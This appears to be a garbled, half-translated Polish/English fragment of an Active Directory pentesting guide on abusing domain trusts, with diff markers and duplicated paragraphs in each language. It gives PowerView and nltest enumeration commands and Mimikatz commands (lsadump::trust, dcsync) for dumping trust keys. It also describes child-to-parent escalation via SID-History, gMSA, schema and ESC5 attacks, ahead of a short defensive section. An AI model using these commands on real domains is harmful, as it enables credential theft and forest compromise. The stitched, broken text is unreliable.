A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) jest mechanizmem bezpieczeństwa, który pozwala użytkownikowi z jednej **domeny** na dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, umożliwiając przepływ weryfikacji uwierzytelnienia. Kiedy domeny konfigurowane są z zaufaniem, wymieniają i przechowują określone **klucze** w swoich **Domain Controllerach (DC)**, które są istotne dla integralności zaufania.
|
||||
|
||||
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje on TGS, przyznając użytkownikowi dostęp do usługi.
|
||||
W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w **trusted domain**, musi najpierw poprosić o specjalny bilet zwany **inter-realm TGT** z DC swojej domeny. Ten TGT jest szyfrowany przy użyciu wspólnego **trust key**, który obie domeny uzgodniły. Użytkownik następnie prezentuje ten inter-realm TGT Domain Controllerowi **trusted domain**, aby uzyskać bilet serwisowy (**TGS**). Po pomyślnej walidacji inter-realm TGT przez DC trusted domain, wydaje on TGS, przyznając użytkownikowi dostęp do usługi.
|
||||
|
||||
**Kroki**:
|
||||
**Steps**:
|
||||
|
||||
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasha NTLM**, aby zażądać **Biletu Grantującego Bilet (TGT)** od swojego **Kontrolera Domeny (DC1)**.
|
||||
2. DC1 wydaje nowy TGT, jeśli klient jest pomyślnie uwierzytelniony.
|
||||
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**.
|
||||
4. Inter-realm TGT jest szyfrowany za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domeny.
|
||||
5. Klient zabiera inter-realm TGT do **Kontrolera Domeny (DC2)** w **Domenie 2**.
|
||||
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Grantujący Usługę (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
|
||||
7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domenie 2.
|
||||
1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**.
|
||||
2. DC1 issues a new TGT if the client is authenticated successfully.
|
||||
3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**.
|
||||
4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust.
|
||||
5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**.
|
||||
6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access.
|
||||
7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Ważne jest, aby zauważyć, że **zaufanie może być jednokierunkowe lub dwukierunkowe**. W przypadku opcji dwukierunkowej obie domeny będą sobie ufać, ale w relacji zaufania **jednokierunkowej** jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
|
||||
Warto zauważyć, że **trust** może być dwukierunkowy lub jednokierunkowy. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **one way** jedna z domen będzie **trusted**, a druga **trusting**. W tym drugim przypadku **będziesz mógł uzyskiwać dostęp tylko do zasobów w trusting domain z trusted domain**.
|
||||
|
||||
Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**.
|
||||
Jeżeli Domain A ufa Domain B, A jest domeną trusting, a B jest domeną trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B** będzie to **Inbound trust**.
|
||||
|
||||
**Różne relacje zaufania**
|
||||
**Different trusting relationships**
|
||||
|
||||
- **Zaufania rodzic-dziecko**: To jest powszechne ustawienie w tym samym lesie, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. W zasadzie oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
|
||||
- **Zaufania krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować w górę do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
|
||||
- **Zaufania zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nieprzechodnie. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona z zaufaniem lasu. Bezpieczeństwo jest wzmacniane poprzez filtrowanie SID w przypadku zaufania zewnętrznego.
|
||||
- **Zaufania korzeni drzew**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzew są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową przejrzystość. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Zaufania lasów**: Ten typ zaufania to dwukierunkowe zaufanie przechodnie między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
|
||||
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które nie są systemami Windows i są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120). Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
|
||||
- **Parent-Child Trusts**: To powszechna konfiguracja w ramach tego samego forest, gdzie domena child automatycznie ma dwukierunkowe, transitive trust z domeną parent. Oznacza to, że żądania uwierzytelniania mogą płynąć swobodnie między parent i child.
|
||||
- **Cross-link Trusts**: Nazywane również "shortcut trusts", są ustanawiane między domenami child, aby przyspieszyć procesy referral. W złożonych lasach, odwołania uwierzytelniania zazwyczaj muszą iść do root forest, a potem w dół do docelowej domeny. Tworząc cross-links, skraca się tę drogę, co jest szczególnie korzystne w środowiskach rozproszonych geograficznie.
|
||||
- **External Trusts**: Konfigurowane są między różnymi, niespowinowaconymi domenami i są z definicji non-transitive. Według [dokumentacji Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts są przydatne do dostępu do zasobów w domenie poza bieżącym forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering w przypadku external trusts.
|
||||
- **Tree-root Trusts**: Te trusty są automatycznie ustanawiane między root domain forest a nowo dodanym tree root. Choć nie są często spotykane, tree-root trusts są ważne przy dodawaniu nowych drzew domen do lasu, umożliwiając im zachowanie unikalnej nazwy domeny i zapewniając dwukierunkową transitivity. Więcej informacji znajduje się w [poradniku Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Ten typ trustu jest dwukierunkowym, transitive trust między dwoma forest root domains, także wymuszając SID filtering, aby zwiększyć środki bezpieczeństwa.
|
||||
- **MIT Trusts**: Trusty ustanawiane są z nie-Windowsowymi, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domenami. MIT trusts są bardziej wyspecjalizowane i służą środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
|
||||
|
||||
#### Inne różnice w **relacjach zaufania**
|
||||
#### Other differences in **trusting relationships**
|
||||
|
||||
- Relacja zaufania może być również **przechodnia** (A ufa B, B ufa C, więc A ufa C) lub **nieprzechodnia**.
|
||||
- Relacja zaufania może być ustawiona jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednokierunkowe** (tylko jedna z nich ufa drugiej).
|
||||
- Relacja trust może być również **transitive** (A trusts B, B trusts C, wtedy A trusts C) lub **non-transitive**.
|
||||
- Relacja trust może być ustawiona jako **bidirectional trust** (obie ufają sobie) lub jako **one-way trust** (tylko jedna ufa drugiej).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Wymień** relacje zaufania
|
||||
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone w tym celu).
|
||||
1. W tym przypadku kerberoast może być inną opcją.
|
||||
3. **Skompromituj** **konta**, które mogą **przejść** przez domeny.
|
||||
1. **Enumerate** the trusting relationships
|
||||
2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably).
|
||||
1. kerberoast in this case could be another option.
|
||||
3. **Compromise** the **accounts** which can **pivot** through domains.
|
||||
|
||||
Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech podstawowych mechanizmów:
|
||||
Attackers could access resources in another domain through three primary mechanisms:
|
||||
|
||||
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną.
|
||||
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w obcej domenie. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
|
||||
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co daje im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" jest cennym źródłem.
|
||||
- **Local Group Membership**: Principals might be added to local groups on machines, such as the “Administrators” group on a server, granting them significant control over that machine.
|
||||
- **Foreign Domain Group Membership**: Principals can also be members of groups within the foreign domain. However, the effectiveness of this method depends on the nature of the trust and the scope of the group.
|
||||
- **Access Control Lists (ACLs)**: Principals might be specified in an **ACL**, particularly as entities in **ACEs** within a **DACL**, providing them access to specific resources. For those looking to dive deeper into the mechanics of ACLs, DACLs, and ACEs, the whitepaper titled “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” is an invaluable resource.
|
||||
|
||||
### Find external users/groups with permissions
|
||||
|
||||
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć obce podmioty bezpieczeństwa w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/lasy**.
|
||||
You can check **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** to find foreign security principals in the domain. These will be user/group from **an external domain/forest**.
|
||||
|
||||
Możesz to sprawdzić w **Bloodhound** lub używając powerview:
|
||||
You could check this in **Bloodhound** or using powerview:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -596,7 +613,7 @@ Get-DomainForeignUser
|
||||
# Get groups inside a domain with users our
|
||||
Get-DomainForeignGroupMember
|
||||
```
|
||||
### Eskalacja uprawnień z dziecka do rodzica w lesie
|
||||
### Child-to-Parent forest privilege escalation
|
||||
```bash
|
||||
# Fro powerview
|
||||
Get-DomainTrust
|
||||
@ -609,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
Inne sposoby na enumerację zaufania domeny:
|
||||
Inne sposoby enumerowania zaufanych domen:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
@ -623,16 +640,16 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> Istnieją **2 zaufane klucze**, jeden dla _Child --> Parent_ i drugi dla _Parent_ --> _Child_.\
|
||||
> Możesz użyć tego, który jest używany przez bieżącą domenę, za pomocą:
|
||||
> Możesz sprawdzić, który jest używany przez bieżącą domenę za pomocą:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
> ```
|
||||
|
||||
#### Wstrzykiwanie SID-History
|
||||
#### SID-History Injection
|
||||
|
||||
Wznieś się jako administrator przedsiębiorstwa do domeny dziecka/rodzica, wykorzystując zaufanie z wstrzykiwaniem SID-History:
|
||||
Zdobądź uprawnienia Enterprise Admin w domenie child/parent, nadużywając zaufania przez SID-History injection:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -641,47 +658,47 @@ sid-history-injection.md
|
||||
|
||||
#### Wykorzystanie zapisywalnego Configuration NC
|
||||
|
||||
Zrozumienie, jak Configuration Naming Context (NC) może być wykorzystywane, jest kluczowe. Configuration NC służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
|
||||
Zrozumienie, jak można wykorzystać Configuration Naming Context (NC), jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **uprawnienia SYSTEM na DC**, najlepiej na child DC.
|
||||
|
||||
**Połączenie GPO z witryną główną DC**
|
||||
Link GPO do root DC site
|
||||
|
||||
Kontener witryn Configuration NC zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
|
||||
Kontener Sites w Configuration NC zawiera informacje o wszystkich site'ach komputerów dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą powiązać GPO z root DC site. Ta operacja może potencjalnie skompromitować domenę root poprzez manipulację politykami stosowanymi na tych site'ach.
|
||||
|
||||
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Kompromitacja dowolnego gMSA w lesie**
|
||||
Compromise any gMSA in the forest
|
||||
|
||||
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
|
||||
Atak może celować w uprzywilejowane gMSA w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do KDS Root key i obliczyć hasła dla dowolnego gMSA w całym lesie.
|
||||
|
||||
Szczegółowa analiza i przewodnik krok po kroku można znaleźć w:
|
||||
Detailed analysis and step-by-step guidance can be found in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Uzupełniający atak na delegowane MSA (BadSuccessor – wykorzystywanie atrybutów migracji):
|
||||
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Dodatkowe badania zewnętrzne: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Atak zmiany schematu**
|
||||
Schema change attack
|
||||
|
||||
Ta metoda wymaga cierpliwości, czekając na utworzenie nowych uprzywilejowanych obiektów AD. Posiadając uprawnienia SYSTEM, atakujący może zmodyfikować schemat AD, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo utworzonymi obiektami AD.
|
||||
Ta metoda wymaga cierpliwości i oczekiwania na tworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować AD Schema, aby nadać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. To może prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
|
||||
|
||||
Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**Z DA do EA z ADCS ESC5**
|
||||
From DA to EA with ADCS ESC5
|
||||
|
||||
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby utworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
|
||||
Luka ADCS ESC5 umożliwia uzyskanie kontroli nad obiektami Public Key Infrastructure (PKI) w celu stworzenia szablonu certyfikatu pozwalającego na uwierzytelnienie się jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, skompromitowanie zapisywalnego child DC umożliwia przeprowadzenie ataków ESC5.
|
||||
|
||||
Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Zewnętrzna domena lasu - jednokierunkowa (przychodząca) lub dwukierunkowa
|
||||
### Zewnętrzna domena lasu - jednokierunkowa (Inbound) lub dwukierunkowa
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -692,13 +709,14 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
W tym scenariuszu **twoja domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
|
||||
W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** względem niej. Będziesz musiał ustalić, **które konta (principals) twojej domeny mają jaki dostęp do domeny zewnętrznej**, a następnie spróbować to wykorzystać:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Zewnętrzna Domena Leśna - Jednokierunkowa (Wychodząca)
|
||||
### Zewnętrzna domena lasu - jednokierunkowa (wychodząca)
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -710,72 +728,75 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**.
|
||||
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** podmiotu z **innej domeny**.
|
||||
|
||||
Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło używa zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej**, przeprowadzić jej enumerację i próbować eskalować dalsze uprawnienia:
|
||||
|
||||
Jednakże, gdy **domena jest ufana** przez ufającą domenę, ufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnej kierunku** zaufania domeny (co nie jest zbyt powszechne).
|
||||
Innym sposobem kompromitacji domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** względem zaufania domeny (co nie jest zbyt częste).
|
||||
|
||||
Kolejną metodą jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Wtedy atakujący może wstrzyknąć kod w proces sesji RDP i **dostępować do domeny źródłowej ofiary** stamtąd.\
|
||||
Co więcej, jeśli **ofiara podmontowała swój dysk twardy**, to z procesu sesji **RDP** atakujący może umieścić **backdoory** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
|
||||
|
||||
Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\
|
||||
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze startowym dysku twardego**. Ta technika nazywa się **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Łagodzenie nadużyć zaufania domeny
|
||||
### Mitigacja nadużyć zaufania domeny
|
||||
|
||||
### **Filtracja SID:**
|
||||
### **SID Filtering:**
|
||||
|
||||
- Ryzyko ataków wykorzystujących atrybut historii SID w ramach zaufania lasów jest łagodzone przez filtrację SID, która jest domyślnie aktywowana we wszystkich zaufaniach między lasami. Opiera się to na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie z stanowiskiem Microsoftu.
|
||||
- Jednak jest pewien haczyk: filtracja SID może zakłócać aplikacje i dostęp użytkowników, co prowadzi do jej okazjonalnego dezaktywowania.
|
||||
- Ryzyko ataków wykorzystujących atrybut SID history w zaufaniach między lasami jest łagodzone przez SID Filtering, które jest aktywowane domyślnie we wszystkich zaufaniach międzylasowych. Opiera się to na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoft.
|
||||
- Jest jednak haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co powoduje jego okazjonalne wyłączenie.
|
||||
|
||||
### **Selektywna autoryzacja:**
|
||||
### **Selective Authentication:**
|
||||
|
||||
- W przypadku zaufania między lasami, stosowanie selektywnej autoryzacji zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są wyraźne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w ufającej domenie lub lesie.
|
||||
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Kontekstu Nazewnictwa Konfiguracji (NC) ani atakami na konto zaufania.
|
||||
- Dla zaufania międzylasowego zastosowanie Selective Authentication zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskiwać dostęp do domen i serwerów w domenie/lesie ufającym.
|
||||
- Należy zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na konto zaufania.
|
||||
|
||||
[**Więcej informacji o zaufaniach domen w ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Niektóre ogólne obrony
|
||||
## Some General Defenses
|
||||
|
||||
[**Dowiedz się więcej o tym, jak chronić poświadczenia tutaj.**](../stealing-credentials/credentials-protections.md)
|
||||
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Środki obronne dla ochrony poświadczeń**
|
||||
### **Defensive Measures for Credential Protection**
|
||||
|
||||
- **Ograniczenia dla administratorów domeny**: Zaleca się, aby administratorzy domeny mogli logować się tylko do kontrolerów domeny, unikając ich użycia na innych hostach.
|
||||
- **Uprawnienia konta usługi**: Usługi nie powinny być uruchamiane z uprawnieniami administratora domeny (DA), aby zachować bezpieczeństwo.
|
||||
- **Ograniczenie czasowe uprawnień**: W przypadku zadań wymagających uprawnień DA, ich czas trwania powinien być ograniczony. Można to osiągnąć za pomocą: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Domain Admins Restrictions**: Zaleca się, aby Domain Admins mogli logować się tylko do Domain Controllers, unikając ich używania na innych hostach.
|
||||
- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA), aby utrzymać bezpieczeństwo.
|
||||
- **Temporal Privilege Limitation**: Dla zadań wymagających uprawnień DA należy ograniczać ich czas trwania. Można to osiągnąć przez: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Wdrażanie technik oszustwa**
|
||||
### **Wdrażanie technik Deception**
|
||||
|
||||
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak użytkownicy lub komputery zwodnicze, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako Zaufane do Delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
|
||||
- Wdrażanie deception polega na ustawianiu pułapek, takich jak użytkownicy lub komputery wabiki, z cechami takimi jak hasła, które nigdy nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
|
||||
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Więcej na temat wdrażania technik oszustwa można znaleźć w [Deploy-Deception na GitHubie](https://github.com/samratashok/Deploy-Deception).
|
||||
- Więcej o wdrażaniu technik deception można znaleźć na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identyfikacja oszustwa**
|
||||
### **Identyfikacja Deception**
|
||||
|
||||
